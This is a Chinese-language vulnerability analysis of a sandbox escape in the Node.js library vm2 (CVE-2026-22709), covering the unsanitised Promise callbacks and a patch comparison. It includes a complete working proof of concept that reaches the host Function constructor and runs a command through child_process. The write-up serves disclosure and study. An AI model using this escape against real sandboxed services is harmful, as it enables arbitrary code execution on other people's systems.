vm2沙箱逃逸漏洞(CVE-2026-22709)
vm2沙箱逃逸漏洞(CVE-2026-22709)
前言
vm2 是 Node.js 生态中广泛使用的沙箱库,用于在隔离环境中安全执行不受信任的 JavaScript 代码。它被用于在线代码执行平台、插件系统、模板引擎等多种场景。
漏洞概述
vm2 使用 Promise 的 then 和 catch 方法时,对回调函数的清理存在缺陷:
localPromise.prototype.then的回调被正确清理- 但
globalPromise.prototype.then/catch的回调未被清理 async函数返回的是globalPromise对象,而非localPromise
这导致攻击者可以通过 async 函数配合异常处理,获取宿主环境的对象引用,进而实现沙箱逃逸。
漏洞分析/复现
环境搭建
安装vm2@3.10.0版本
mkdir vm2-poc && cd vm2-poc
npm init -y
npm install vm2@3.10.0
漏洞分析
漏洞位于 lib/setup-sandbox.js 文件中。
问题代码 1:globalPromise.prototype.then 未清理回调

const globalPromiseThen = globalPromise.prototype.then;
globalPromise.prototype.then = function then(onFulfilled, onRejected) {
resetPromiseSpecies(this);
return globalPromiseThen.call(this, onFulfilled, onRejected); // 未清理回调
};对比 localPromise.prototype.then(正确实现)

overrideWithProxy(PromisePrototype, 'then', PromisePrototype.then, {
apply(target, thiz, args) {
if (args.length > 1) {
const onRejected = args[1];
if (typeof onRejected === 'function') {
args[1] = function wrapper(error) {
error = ensureThis(error); // 正确清理
return localReflectApply(onRejected, this, [error]);
};
}
}
return localReflectApply(target, thiz, args);
}
});补丁使用apply替换了globalPromiseCatch.call

漏洞复现
- Error.name = Symbol() 导致 stack 访问时抛出未清理的异常
- async 函数返回 globalPromise,其 .catch() 回调未清理
- 通过 e.constructor.constructor 获取宿主 Function
- 宿主 Function 创建的代码可访问 process.mainModule.require

const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('calc.exe')"
);
f();
});
`;
new VM().run(code);引用
vm2因globalPromise.prototype.then/catch回调未清理,async函数可绕过沙箱获取宿主Function及process.mainModule.require。
由 AI 根据全文自动生成,仅供参考,以原文为准